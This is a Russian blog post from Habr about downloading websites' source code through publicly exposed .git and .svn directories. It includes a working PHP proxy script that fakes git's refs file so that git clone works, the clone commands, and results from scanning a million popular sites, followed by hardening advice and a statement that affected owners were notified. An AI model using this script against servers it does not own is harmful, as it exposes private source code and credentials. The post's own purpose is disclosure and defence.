Как я исходники собственного сайта скачал
m.habrahabr.ruВ сентябре 2009 года была опубликована статья об уязвимости, связанной с системой контроля версий subversion, позволяющей скачать исходники сайтов, использующих SVN. Периодически от нечего делать мой мозг хотел, что бы я написал граббер и проверил актуальность данной угрозы на текущий момент, но было как-то лень. Однако, мне не давал покоя комментарий хабраюзера Semenov
Понятно, что каждый школьник уже попробовал скачать %sitename% через .svn, потому от этой идеи я отказался сразу, зато попробовать git clone %sitename%/.git/ руки чесались.
Для начала, я на собственном сайте отключил 404 на .git* и создал git репозиторий в публичной директории…
$ git init && git add . && git commit -m 'Test' Initialized empty Git repository in /home/ilyaplot/data/www/web/.git/ [master (root-commit) d3dcdf3] Test 15 files changed, 713 insertions(+) .....................
Теперь можно попробовать получить только что созданный репозиторий
$ git clone http://******.com/.git/ Cloning into '******.com'... fatal: http://'******..com/.git/info/refs not found: did you run git update-server-info on the server?
Как оказалось, не все так просто. Для того, что бы репозиторий можно было склонировать таким способом, необходимо выполнить git update-server-info в папке с проектом, что по понятным причинам я сделать не могу.
Оказывается, для осуществления задуманного нужен всего лишь один файл .git/info/refs, содержащий хэш коммита для HEAD.
Т.к. хэш коммита можно получить из .git/refs/heads/master, то можно просто сделать проксирующий скрипт, который будет отдавать то, что git ожидает получить. У меня получился очень простой PHP — скрипт. Я просто создал контроллер в своем Yii2 проекте следующего содержания:
header("Content-Type: application/octet-stream"); if (preg_match("/^(?P<host>[\w\-\.]+)\/(?P<url>.+)/isu", $host, $matches)) { if ($matches['url'] == 'info/refs') { $ref = file_get_contents('http://' . $matches['host'] . '/.git/refs/heads/master'); $ref = trim($ref); echo "{$ref}\trefs/heads/master {$ref}\trefs/remotes/origin/HEAD {$ref}\trefs/remotes/origin/master "; } else { echo file_get_contents('http://' . $matches['host'] . '/.git/' . $matches['url']); } exit(); }
И добавил rule в urlManager
[ 'pattern' => 'git/<host[\w\-\.\/]+>', 'route' => 'git/index', 'suffix' => '', ],
Теперь я могу попробовать склонировать собственный сайт, используя собственный сайт. Тут должна быть шутка про монитор
Пробуем
$ git clone http://******.com/git/******.com Cloning into '******.com'... $ ls ******.com/ assets css favicon.ico images js robots.txt sitemaps
Получилось! После этого, я проверил этот метод на сайтах — гигантах, получил то, что и ожидалось. Ничего. Потом я взял список из миллиона самых посещаемых сайтов интернета и прошел его весь. Я ожидал получить много исходников, но из 1 милииона сайтов получилось скачать лишь 4. На 126 сайтов из исследованных я получил .git/refs/heads/master с хэшем коммита, но склонировать репозиторий не удалось из-за того, что система роутинга этих сайтов выдавала 404.
Ожидал я, конечно большего, потому решил проверить, а насколько больше или меньше сайтов удастся скачать через .svn. Нашел граббер на питоне, настроил на тот же самый список из миллиона сайтов и запустил. Скачалось несколько сотен сайтов.
И в заключение дам несколько советов.
- Сейчас же проверьте доступность /.git/index на вашем сайте через обычный браузер.
Если вы не получили 403 или 404, то следующие пункты для вас. - Настройте ваш сервер так, что бы на .svn и .git он возвращал 404.
- Выносите исходный код сайта, который не должен быть получен клиентом за пределы публичной директории.
- Возможно, стоит поменять пароли, которые используются в конфигах, url доступа в админ панель, удалить служебные скрипты из публичной директории.
По понятным причинам я не могу сказать, какие именно сайты удалось склонировать, но могу сказать точно, что владельцы этих сайтов уже получили письмо, в котором я указал на недостаток.
Source m.habrahabr.ru